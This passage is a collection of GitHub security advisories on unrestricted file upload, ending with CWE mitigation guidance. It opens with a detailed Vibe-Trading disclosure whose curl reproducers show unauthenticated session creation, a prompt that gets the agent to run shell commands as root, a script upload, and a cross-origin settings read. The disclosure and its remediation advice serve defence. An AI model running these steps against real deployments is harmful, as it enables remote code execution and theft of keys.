  "details": "### Summary: \n5 findings \u2014 unauthenticated full-API exposure (F1, lead Critical), read-side authorization gap that persists even with `API_AUTH_KEY` set (F2), unauthenticated file write of `.py`/`.sh`/`.yaml` to a server-returned path (F3), default-permissive CORS that combines with a loopback-only check to grant any browser page on whitelisted localhost ports credentialed cross-origin access (F-A4), and partial API-key disclosure via `_mask_secret()` (F-A5).\n\n---\n\n### Shared baseline (applies to all 5 findings)\n\nThe shipped `agent/.env.example` line 112 ships `# API_AUTH_KEY=` commented out. `require_auth()` at `agent/api_server.py` line 303 executes `if not api_key: return` and returns `None` immediately when `API_AUTH_KEY` is unset, so every endpoint decorated with `dependencies=[Depends(require_auth)]` operates as unauthenticated. The shipped `Dockerfile` does **not** contain a `USER` directive, so the FastAPI process runs as `uid=0(root)` inside the container (verified: `docker exec id` returns `uid=0(root) gid=0(root)`). The `docker-compose.yml` binds `0.0.0.0:8899` with no network restriction.\n\nThe only operator action required beyond a clean install is supplying a working LLM API key so the agent loop can complete its tool-call round trip \u2014 this is the normal first step to make the agent functional, not an additional security opt-in. F-A4 and F-A5 do *not* require an LLM key (see per-finding notes); F1 and F3 do not require an LLM key for the unauth surface itself, only for the chained RCE demonstration in F1.\n\n### Reproducer environment (common)\n\n```sh\ngit clone https://github.com/HKUDS/Vibe-Trading.git\ncd Vibe-Trading\ngit checkout 7452610113a75529b5d55fd2217bb17f7bec66f7   # v0.1.6 + 1 frontend fix; same vuln state as v0.1.6\ncp agent/.env.example agent/.env\n# (For F1 chained demo only:) edit agent/.env to set OPENROUTER_API_KEY=\u003creal key\u003e\ndocker compose up -d\n# port 8899 is now reachable; HOST below is the docker host\u0027s IP from the attacker\u0027s perspective\n```\n\n\u003e **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on \u2014 typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 1 \u2014 Critical: Unauthenticated network client reaches shell execution via POST /sessions/{id}/messages\n\n- **Severity**: Critical\n- **CVSS v3.1**: 9.8 \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n- **CVSS v4.0**: 10.0 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`\n- **CWE**: CWE-306 (Missing Authentication for Critical Function); chains into CWE-78 (Group B, F6)\n\n**Affected files**:\n- `agent/api_server.py:303` \u2014 `if not api_key: return` early return in `require_auth()`\n- `agent/api_server.py:736` \u2014 `@app.post(\"/sessions/{session_id}/messages\", dependencies=[Depends(require_auth)])` (the dependency is a no-op when `API_AUTH_KEY` is unset)\n- `agent/src/tools/bash_tool.py:44-46` \u2014 `subprocess.run(command, shell=True, cwd=cwd)` with command read from `kwargs[\u0027command\u0027]` (full bug detail tracked in GHSA-2 / Group B / F6)\n\n**Intent vs actual**: The session API is intended to serve authenticated users only. When `API_AUTH_KEY` is unset, `require_auth()` returns `None` immediately and `dependencies=[Depends(require_auth)]` becomes a no-op. Any anonymous TCP client to port 8899 can therefore create a session, post a message, and receive the LLM agent\u0027s response. The LLM ReAct agent \u2014 given a natural-language request to run a command \u2014 selects `BashTool` from the auto-discovered registry, which calls `subprocess.run(command, shell=True)` with the LLM-emitted string. The container has no `USER` directive, so the resulting process runs as `uid=0(root)`.\n\n**Steps to observe**:\n\n1. Start the server per the shared reproducer above (with a working `OPENROUTER_API_KEY` set in `agent/.env`). Confirm `curl -fs http://HOST:8899/health` returns 200.\n2. `SID=$(curl -s -X POST http://HOST:8899/sessions -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027session_id\u0027])\")`\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H \u0027Content-Type: application/json\u0027 -d \u0027{\"content\":\"Execute the shell command \u0027\\\u0027\u0027id \u0026\u0026 uname -a\u0027\\\u0027\u0027 and report the output verbatim.\"}\u0027`\n4. Wait ~5\u201315 seconds, then `curl -s \"http://HOST:8899/sessions/$SID/messages\"` and observe the BashTool result message containing `uid=0(root)`, the kernel version, and the container hostname \u2014 all returned with no `Authorization` header on any of the three requests.\n\n**Impact**: An unauthenticated caller with TCP access to port 8899 can execute arbitrary shell commands as root inside the container. This is the top-severity entry point of the RCE chain. Combined with the absent `USER` directive in the Dockerfile, the blast radius is full container takeover.\n\n---\n\n### Finding 2 \u2014 High: Read endpoints return full session history with no authentication, even when API_AUTH_KEY is set\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-862 (Missing Authorization)\n\n**Affected file**: `agent/api_server.py` \u2014 `require_auth()` docstring at line 289 states \"Only write endpoints (POST/PUT/DELETE/PATCH) use this dependency.\" Read endpoints with no `Depends(require_auth)`:\n- line 804 \u2014 `@app.get(\"/runs\", response_model=List[RunInfo])`\n- line 788 \u2014 `@app.get(\"/runs/{run_id}\", response_model=RunResponse)`\n- line 748 \u2014 `@app.get(\"/runs/{run_id}/code\")`\n- line 769 \u2014 `@app.get(\"/runs/{run_id}/pine\")`\n- line 1153 \u2014 `@app.get(\"/sessions\", response_model=List[SessionResponse])`\n- line 1173 \u2014 `@app.get(\"/sessions/{session_id}\", response_model=SessionResponse)`\n- line 1251 \u2014 `@app.get(\"/sessions/{session_id}/messages\", response_model=List[MessageResponse])`\n- line 1272 \u2014 `@app.get(\"/sessions/{session_id}/events\")`\n- line 1444 \u2014 `@app.get(\"/swarm/runs\")`\n\n**Intent vs actual**: When `API_AUTH_KEY` is configured, the implicit operator expectation is that all session data is protected. The actual design is documented in the docstring at line 289 \u2014 read endpoints have no `Depends(require_auth)`, so they remain unauthenticated even with `API_AUTH_KEY` set. A runtime probe with `API_AUTH_KEY=any-secret-value` configured: a session was created with a valid Bearer token, a message containing `BROKER_TOKEN=ts-secret-deadbeef-real-private-data` was posted, then `GET /sessions/{id}/messages` was issued with **no** `Authorization` header and returned HTTP 200 with the broker token string verbatim in the response \u2014 confirming the gap persists when authentication is enabled.\n\n**Steps to observe**:\n\n1. Set `API_AUTH_KEY=any-secret-value` in `agent/.env`. Under docker compose, add a bind-mount on the `vibe-trading` service so the container reads the change: `volumes: - ./agent/.env:/app/agent/.env:ro`. Then `docker compose up -d --force-recreate` (a plain `restart` reuses the existing process env and will not pick up the change).\n2. `SID=$(curl -s -X POST http://HOST:8899/sessions -H \u0027Authorization: Bearer any-secret-value\u0027 -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027session_id\u0027])\")`\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H \u0027Authorization: Bearer any-secret-value\u0027 -H \u0027Content-Type: application/json\u0027 -d \u0027{\"content\":\"BROKER_TOKEN=ts-secret-test-value\"}\u0027` (this requires the Bearer token because POST is auth-protected)\n4. **No-auth read** \u2014 `curl -s \"http://HOST:8899/sessions/$SID/messages\"` (no `Authorization` header). Observe HTTP 200 with the broker token visible.\n5. Also: `curl -s \"http://HOST:8899/runs\"` returns all run records (including their prompt fields) with no auth.\n\n**Impact**: An unauthenticated caller can enumerate the full history of every agent session \u2014 including any broker tokens, LLM API keys, or trading account details the operator has pasted into prompts. The gap persists when the operator believes their write operations are protected, making it deceptive for operators who have followed the SECURITY.md spirit and turned auth on.\n\n---\n\n### Finding 3 \u2014 High: Unauthenticated POST /upload writes arbitrary .py/.sh/.yaml files to server filesystem with full path returned\n\n- **Severity**: High\n- **CVSS v3.1**: 8.1 \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N`\n- **CVSS v4.0**: 8.7 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N`\n- **CWE**: CWE-434 (Unrestricted Upload of File with Dangerous Type)\n\n**Affected file**:\n- `agent/api_server.py:1310-1321` \u2014 `_BLOCKED_UPLOAD_EXT` set rejects `.exe`, `.msi`, `.bat`, `.cmd`, `.com`, `.scr`, `.app`, `.dmg`, `.so`, `.dll`, `.dylib`, `.zip`, `.rar`, `.7z`, `.tar`, `.gz`, `.tgz`, `.bz2`, `.xz` \u2014 but **not** `.py`, `.sh`, `.yaml`, `.j2`, `.json`, `.html`, or `Dockerfile`\n- `agent/api_server.py:1347` \u2014 `@app.post(\"/upload\", dependencies=[Depends(require_auth)])` (no-op when `API_AUTH_KEY` unset)\n\n**Intent vs actual**: `POST /upload` is intended as an authenticated file-staging mechanism. In default config the auth dependency is a no-op (per F1). The extension blocklist is a denylist not an allowlist, so dangerous executable-adjacent types pass through. The uploaded file is saved as `\u003cuuid\u003e.\u003cext\u003e` and the **full resolved server path is returned in the response body** under `\"file_path\"`, so the attacker does not need to guess paths.\n\n**Steps to observe** (no LLM key required):\n\n1. Start the server in default config (no `API_AUTH_KEY`).\n2. `curl -s -X POST http://HOST:8899/upload -F \u0027file=@/dev/stdin;filename=payload.py\u0027 \u003c\u003c\u003c \u0027print(\"ATTACKER_CONTROLLED\")\u0027`\n3. Observe HTTP 200 with JSON containing `\"status\":\"ok\"` and `\"file_path\":\"/app/agent/uploads/\u003cuuid\u003e.py\"`.\n4. Repeat with `filename=config.yaml` and `filename=run.sh` to confirm multiple executable-adjacent types pass.\n\n**Impact**: Any unauthenticated caller can write arbitrary Python scripts, shell scripts, or YAML configuration to a known, server-returned path. F3 is independent of any LLM API key \u2014 it is the cleanest unauth-write primitive in the codebase. The uploaded file is reachable from the LLM agent\u0027s tool envelope and chains into Group B / F8 (backtest exec_module premature exec) for a non-bash RCE path.\n\n---\n\n### Finding A4 \u2014 Medium: Default-permissive CORS allowlist + loopback-only check on /settings let any localhost-served browser page drive credentialed cross-origin requests\n\n- **Severity**: Medium\n- **CVSS v3.1**: 7.7 \u2014 `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N`\n- **CVSS v4.0**: 6.3 \u2014 `AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-942 (Permissive Cross-domain Policy with Untrusted Domains); CWE-346 (Origin Validation Error)\n\n**Affected file**:\n- `agent/api_server.py:252-264` \u2014 `_CORS_ORIGINS = os.getenv(...)` defaults to a list of six localhost origins (`http://localhost:3000`, `:5173`, `:8000`; same for `127.0.0.1`); `CORSMiddleware` is added with `allow_credentials=True`, `allow_methods=[\"*\"]`, `allow_headers=[\"*\"]`\n- `agent/api_server.py:309-336` \u2014 `_is_local_client()` and `require_local_or_auth()`: the loopback check examines `request.client.host` (TCP peer IP), which is `127.0.0.1` for **any** browser request from the same machine, regardless of the page\u0027s origin\n- `agent/api_server.py:908` \u2014 `dependencies=[Depends(require_local_or_auth)]` on `/settings/llm` and related endpoints (granted to any browser request from the host)\n\n**Intent vs actual**: The CORS allowlist is intended to permit the bundled Vite/React frontend to make credentialed API calls during development. The intent is a development-convenience configuration. The actual configuration permits **any** local web page served from one of the six listed origins \u2014 which includes any other application, IDE preview pane, local web tool, or static HTML file served by another process listening on those ports \u2014 to issue credentialed cross-origin POSTs/GETs and read the responses in JavaScript. Because the loopback check at `_is_local_client()` examines the TCP peer IP (always `127.0.0.1` for browser requests from the host), browser-driven cross-origin requests from a whitelisted origin also bypass the loopback restriction on `/settings/*`, which would otherwise have been the only barrier.\n\n**Steps to observe** (no LLM key required):\n\n1. Start the server in default config.\n2. Preflight: `curl -s -X OPTIONS \"http://HOST:8899/sessions\" -H \"Origin: http://localhost:3000\" -H \"Access-Control-Request-Method: POST\" -i` \u2014 observe the response includes `access-control-allow-credentials: true`, `access-control-allow-origin: http://localhost:3000`, and `access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT`.\n3. Confirm a real `POST /sessions` with `Origin: http://localhost:3000` returns the same allow-credentials header in the response so a browser can read the body.\n4. Preflight against a settings endpoint: `curl -s -X OPTIONS \"http://HOST:8899/settings/llm\" -H \"Origin: http://localhost:3000\" -i`. Then `curl -s \"http://HOST:8899/settings/llm\" -H \"Origin: http://localhost:3000\"` and observe the response is allowed because `request.client.host = 127.0.0.1` satisfies `_is_local_client()`.\n5. Negative control: `curl -s -X OPTIONS \"http://HOST:8899/sessions\" -H \"Origin: http://evil.example.com\" -i` \u2014 observe no CORS headers, demonstrating the allowlist is functional for non-localhost origins.\n\n**Impact**: Any malicious or compromised local web page on a whitelisted localhost port can silently drive the Vibe-Trading API in the operator\u0027s browser context \u2014 creating sessions, posting messages (which chain into F1\u0027s BashTool RCE), reading session histories (F2), and reading settings including the partial-key hint exposed by F-A5. Required user interaction is limited to the operator visiting a page that issues background `fetch()` calls. This expands the F1-F3 surface from direct TCP attackers to browser-mediated attackers that share a host with a developer running the agent.\n\n---\n\n### Finding A5 \u2014 Medium: Settings endpoints expose first-4 + last-4 characters of every configured API key via _mask_secret()\n\n- **Severity**: Medium\n- **CVSS v3.1**: 5.3 \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`\n- **CVSS v4.0**: 6.9 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-200 (Exposure of Sensitive Information)\n\n**Affected files**:\n- `agent/api_server.py:467-474` \u2014 `_mask_secret()` returns `f\"{value[:4]}...{value[-4:]}\"` for any string longer than 8 characters\n- `agent/api_server.py:372` \u2014 `LLM_API_KEY_PLACEHOLDERS` filters out shipped placeholders so the leak fires only when a real key is configured\n- `agent/api_server.py:505-522` \u2014 `GET /settings/llm` returns `api_key_hint = _mask_secret(api_key) if api_key_configured else None`\n- `agent/api_server.py:561` \u2014 `GET /settings/data-sources` returns `tushare_token_hint=_mask_secret(token) if token_configured else None`\n- `agent/test_settings_api.py:106` \u2014 assertion `api_key_hint == \"or-s...alue\"` for input `or-secret-value` confirms the 4+4 reveal is the intended API contract\n\n**Intent vs actual**: The frontend needs to confirm to the operator that an API key is configured, so the appropriate hint is a boolean presence indicator or a fixed placeholder. The actual implementation reveals the first 4 and last 4 characters. For structured provider keys with predictable prefixes (`sk-or-v1-`, `gsk_`, `xoxb-`, `ts-`), the leading 4 bytes are largely fixed and the entropy leak is concentrated in the trailing 4 \u2014 which can be material for tokens with bounded total entropy (e.g. Tushare tokens). A runtime probe configured `OPENROUTER_API_KEY=sk-or-v1-AbCdEfGhXyZ12345fakekey` and `TUSHARE_TOKEN=ts-real-shaped-token-1234567890ab` and observed `api_key_hint=\u0027sk-o...ekey\u0027` and `tushare_token_hint=\u0027ts-r...90ab\u0027` from the corresponding GET endpoints.\n\n**Steps to observe** (no LLM key required other than the configured value being non-placeholder; the call itself does not consume the LLM):\n\n1. Edit `agent/.env` to replace the placeholder with a real-shaped key, e.g. `OPENROUTER_API_KEY=sk-or-v1-TestKeyAbcde12345`. Restart the server.\n2. From any loopback client *or* via the F-A4 cross-origin path, `curl -s \"http://127.0.0.1:8899/settings/llm\"` (no `Authorization` header).\n3. Observe HTTP 200 with `api_key_configured=true` and `api_key_hint` containing the first 4 and last 4 characters of the real key.\n4. `curl -s \"http://127.0.0.1:8899/settings/data-sources\"` to observe `tushare_token_hint` follow the same pattern.\n\n**Impact**: Every functional deployment leaks structured bytes of the configured API keys. Combined with offline guessing against bounded-entropy provider keys (notably Tushare tokens), the partial reveal can narrow the attack space to a tractable bruteforce window. The leak is reachable from the F-A4 cross-origin browser path, so it does not require even loopback TCP access \u2014 only an operator who visits a malicious local web page in a browser running on the same host as the agent.\n\n---\n\n### Suggested remediation (per finding)\n\n1. **F1 / F3** \u2014 `require_auth()` must fail closed when `API_AUTH_KEY` is not set. Either raise on startup if the env var is empty, or generate a random per-install key and emit a one-time bootstrap message. Replace the `if not api_key: return` shortcut at line 303 with explicit handling of dev-vs-production.\n2. **F2** \u2014 Apply `Depends(require_auth)` to all read-side `@app.get()` decorators (`/runs*`, `/sessions*`, `/swarm/runs*`). The current docstring at line 289 (\"Only write endpoints use this dependency\") describes the bug rather than design intent.\n3. **F3** \u2014 Convert `_BLOCKED_UPLOAD_EXT` to an allowlist (`.csv`, `.tsv`, `.json`, `.pdf`, `.txt`, `.xlsx`, `.docx` etc.) rather than a denylist; add `.py`, `.sh`, `.yaml`, `.j2`, `Dockerfile` to the rejection set in any case. Place uploads in a directory outside the agent\u0027s tool-discovery envelope.\n4. **F-A4** \u2014 Tighten `_CORS_ORIGINS` default to only `http://localhost:5173` (the bundled Vite dev port). Decouple `_is_local_client` from `request.client.host` \u2014 require either a Bearer token *or* a positive `Origin` header check, not the TCP peer IP. Document loud that adding any port to `_CORS_ORIGINS` grants full credentialed cross-origin API access.\n5. **F-A5** \u2014 Replace `_mask_secret()` with a fixed placeholder (\"\u2022\u2022\u2022configured\u2022\u2022\u2022\") or a boolean presence flag. If the UI requires a hint, hash the key (truncated SHA-256) so the hint cannot be inverted to bytes of the original.\n\n---",
  "id": "GHSA-v2f8-6655-7grj",
  "modified": "2026-10-02T22:44:26Z",
  "published": "2026-10-02T22:44:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/Vibe-Trading/security/advisories/GHSA-v2f8-6655-7grj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/Vibe-Trading/commit/9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/Vibe-Trading"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/Vibe-Trading/releases/tag/v0.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain"
}

GHSA-V2FH-W9PR-6754

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

NETGEAR ProSAFE Network Management System MFileUploadController Unrestricted File Upload Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.

The specific flaw exists within the MFileUploadController class. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19717.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-38095"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:51Z",
    "severity": "HIGH"
  },
  "details": "NETGEAR ProSAFE Network Management System MFileUploadController Unrestricted File Upload Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the MFileUploadController class. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19717.",
  "id": "GHSA-v2fh-w9pr-6754",
  "modified": "2024-05-03T03:30:55Z",
  "published": "2024-05-03T03:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38095"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000065707/Security-Advisory-for-Multiple-Vulnerabilities-on-the-ProSAFE-Network-Management-System-PSV-2023-0024-PSV-2023-0025"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-921"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2W9-X3M8-JC6P

Vulnerability from github – Published: 2024-10-29 18:30 – Updated: 2024-11-08 15:31
VLAI
Details

The FileOrganizer – Manage WordPress and Website Files plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the "fileorganizer_ajax_handler" function in all versions up to, and including, 1.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, and permissions granted by an administrator, to upload arbitrary files on the affected site's server which may make remote code execution possible. NOTE: The FileOrganizer Pro plugin must be installed and active to allow Subscriber+ users to upload files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-29T16:15:06Z",
    "severity": "HIGH"
  },
  "details": "The FileOrganizer \u2013 Manage WordPress and Website Files plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the \"fileorganizer_ajax_handler\" function in all versions up to, and including, 1.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, and permissions granted by an administrator, to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible. NOTE: The FileOrganizer Pro plugin must be installed and active to allow Subscriber+ users to upload files.",
  "id": "GHSA-v2w9-x3m8-jc6p",
  "modified": "2024-11-08T15:31:11Z",
  "published": "2024-10-29T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7985"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fileorganizer/trunk/main/ajax.php#L13"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3149878"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f79164c2-be3b-496d-b747-3e4b60b7fc2b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2X8-97XQ-8XRR

Vulnerability from github – Published: 2025-09-08 18:31 – Updated: 2025-09-10 14:51
VLAI
Summary
N8N's Chat Trigger component is vulnerable to XSS
Details

An arbitrary file upload vulnerability in the Chat Trigger component of N8N v1.95.3, v1.100.1, and v1.101.1 allows attackers to execute arbitrary code via uploading a crafted HTML file.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@n8n/n8n-nodes-langchain"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.107.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-56265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-10T14:50:59Z",
    "nvd_published_at": "2025-09-08T18:15:33Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary file upload vulnerability in the Chat Trigger component of N8N v1.95.3, v1.100.1, and v1.101.1 allows attackers to execute arbitrary code via uploading a crafted HTML file.",
  "id": "GHSA-v2x8-97xq-8xrr",
  "modified": "2025-09-10T14:51:00Z",
  "published": "2025-09-08T18:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/pull/18148"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n%401.107.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nikolas-ch/CVEs/blob/main/N8N/N8N_v1.100.1/ChatTrigger_StoredXSSviaUnrestrictedFileUpload/StoredXSSviaUnristrictedFileUpload.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "N8N\u0027s Chat Trigger component is vulnerable to XSS"
}

GHSA-V33M-2FQW-VHXG

Vulnerability from github – Published: 2025-07-12 15:30 – Updated: 2025-07-12 15:30
VLAI
Details

A vulnerability, which was classified as critical, has been found in code-projects Simple Car Rental System 1.0. This issue affects some unknown processing of the file /admin/add_cars.php. The manipulation of the argument image leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-12T15:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, has been found in code-projects Simple Car Rental System 1.0. This issue affects some unknown processing of the file /admin/add_cars.php. The manipulation of the argument image leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-v33m-2fqw-vhxg",
  "modified": "2025-07-12T15:30:21Z",
  "published": "2025-07-12T15:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/y2xsec324/cve/issues/14"
    },
    {
      "type": "WEB",
      "url": "https://code-projects.org"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.316127"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.316127"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.610439"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation
Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Mitigation
Implementation

Strategy: Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Mitigation
Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Mitigation
Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
